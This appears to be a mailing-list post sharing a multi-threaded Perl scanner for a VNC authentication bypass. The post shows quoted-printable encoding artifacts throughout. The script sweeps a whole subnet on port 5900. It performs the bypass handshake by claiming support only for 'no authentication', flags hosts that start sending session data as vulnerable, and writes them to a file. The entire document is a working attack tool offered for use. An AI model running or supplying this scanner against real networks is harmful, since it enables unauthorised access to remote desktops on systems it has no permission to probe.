I hacked your code into something multi-threaded--enjoy.

- Matt

#!/usr/bin/perl
# Multi-threaded scan for OpenVNC 4.11 authentication bypass.
# Based on Tyler Krpata's Perl scanning code.

use strict;
use warnings;
use IO::Socket;
use threads;
use threads::shared;
use Errno qw(EAGAIN);

# Configuration variables
use constant VNC_PORT =3D> 5900;
my $splits =3D 5; # Creates 2^N processes.
my $avg_time =3D 5; # Tweak this to get better time estimate=
s.
our $subnet;

our @results : shared;
our $todo =3D 0;
my $orig_thread =3D "yes";
my $start;
my $end;
my $time_estimate;
my $elapsed =3D time;
my $out_file;

++$|; # To watch as the results come in, in real time.
$subnet =3D $ARGV[0] || ""; # Get subnet from command line, else ask for i=
t.

while (1) {
last if $subnet =3D~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
print "\nWhat subnet do you want to scan? ";
chomp($subnet =3D <STDIN>);
print "That does not look right. Enter something like 192.168.1.*\n\n";
}

# Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
$subnet =3D~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
$subnet .=3D ".";

$out_file =3D "VNC_" . $subnet . "txt";

# Mostly a guesstimate
$time_estimate =3D $avg_time * (256 / (2**$splits));
$time_estimate =3D int ($time_estimate / 60);
$time_estimate +=3D 4;

print "\nScanning subnet ${subnet}x -- this should take approximately
$time_estimate minute(s).\n";
print "[!] =3D Vulnerable,[*] =3D Safe, [.] =3D No response.\n\n";

CHECK: {
unless ($splits >=3D 0 && $splits <=3D 8) {
die "ERROR: Do not split $splits times--that makes no sense.\n";
}

unless ($splits <=3D 5) {
warn "Reduce the number of splits from $splits to 5 or less if you
get memory errors.\n\n";
}
}

# Ugly, but this works.
DivideWork() if $splits >=3D 1;
DivideWork() if $splits >=3D 2;
DivideWork() if $splits >=3D 3;
DivideWork() if $splits >=3D 4;
DivideWork() if $splits >=3D 5;
DivideWork() if $splits >=3D 6;
DivideWork() if $splits >=3D 7;
DivideWork() if $splits >=3D 8;

# Which IPs this thread scans.
$start =3D $todo << (8 - $splits);
$end =3D $start + (256 / (2**$splits)) - 1;

foreach ($start .. $end) {
Scan_VNC($_);
}

wait until $?; # Wait for children to finish.
exit unless $orig_thread eq "yes";

# Only the original parent thread will continue.

$elapsed =3D time - $elapsed;
$elapsed /=3D 60;
$elapsed =3D int $elapsed;

print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n";

SaveData();

exit;

####################################

sub DivideWork {

my $pid;

FORK: {
$todo *=3D 2;
if ($pid =3D fork) {
# Parent
++$todo;

} elsif (defined $pid) {
# Child
$orig_thread =3D "no";

} elsif ($! =3D=3D EAGAIN) {

# Recoverable forking error.
sleep 7;
redo FORK;

} else {

# Unable to fork.
die "Unable to fork: $!\n";

}
}
}


sub SaveData {

my $vulns =3D 0;
open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";

foreach my $IP (1..254) {
my $record;
$record =3D $results[$IP];

unless ($record =3D~ m/not vulnerable/io) {
++$vulns;
print FOUND $record;
}

}

print FOUND "\nVulnerabilites found: $vulns";
close(FOUND) or die "Cannot close $out_file -- $!";

print "Data saved to ${out_file}\n\n";

}


sub Scan_VNC {

# Scan for OpenVNC 4.11 authentication bypass.

my $hostnum =3D shift;
my $host =3D $subnet . $hostnum;
my $sock;
my $proto_ver;
my $ignored;
my $auth_type;
my $sec_types;
my $vnc_data;

$host or die("ERROR: no host passed to Scan_VNC.\n");

# The host numbers .0 and .255 are reserved; ignore them.
if ($hostnum <=3D 0 or $hostnum >=3D 255) { return; }

# Format things nicely--that crazy formula just adds spaces.
$results[$hostnum] =3D "$host";
$results[$hostnum] .=3D (" " x (4 - int(log($hostnum)/log(10)))) . " =3D =
";

unless ($sock =3D IO::Socket::INET->new(PeerAddr =3D> $host, PeerPort =3D=
>

VNC_PORT, Proto =3D> 'tcp',)) {
$results[$hostnum] .=3D "Not vulnerable, no response.\n";
print ".";
return;
}

# Negotiate protocol version.
$sock->read($proto_ver, 12);
print $sock $proto_ver;

# Get supported security types and ignore them.
$sock->read($sec_types, 1);
$sock->read($ignored, unpack('C', $sec_types));

# Claim that we only support no authentication.
print $sock "\x01";

# We should get "0000" back, indicating that they won't fall back to
no authentication.
$sock->read($auth_type, 4);
if (unpack('I', $auth_type)) {
$results[$hostnum] .=3D "Not vulnerable, refused to support
authentication type.\n";
print "*";
close($sock);
return;
}

# Client initialize.
print $sock "\x01";

# If the server starts sending data, we're in.
$sock->read($vnc_data, 4);

if (unpack('I', $vnc_data)) {
$results[$hostnum] .=3D "VULNERABLE! $proto_ver\n";
print "!";
} else {
$results[$hostnum] .=3D "Not vulnerable, did not send data.\n";
print "*";
}

close($sock);
return;

}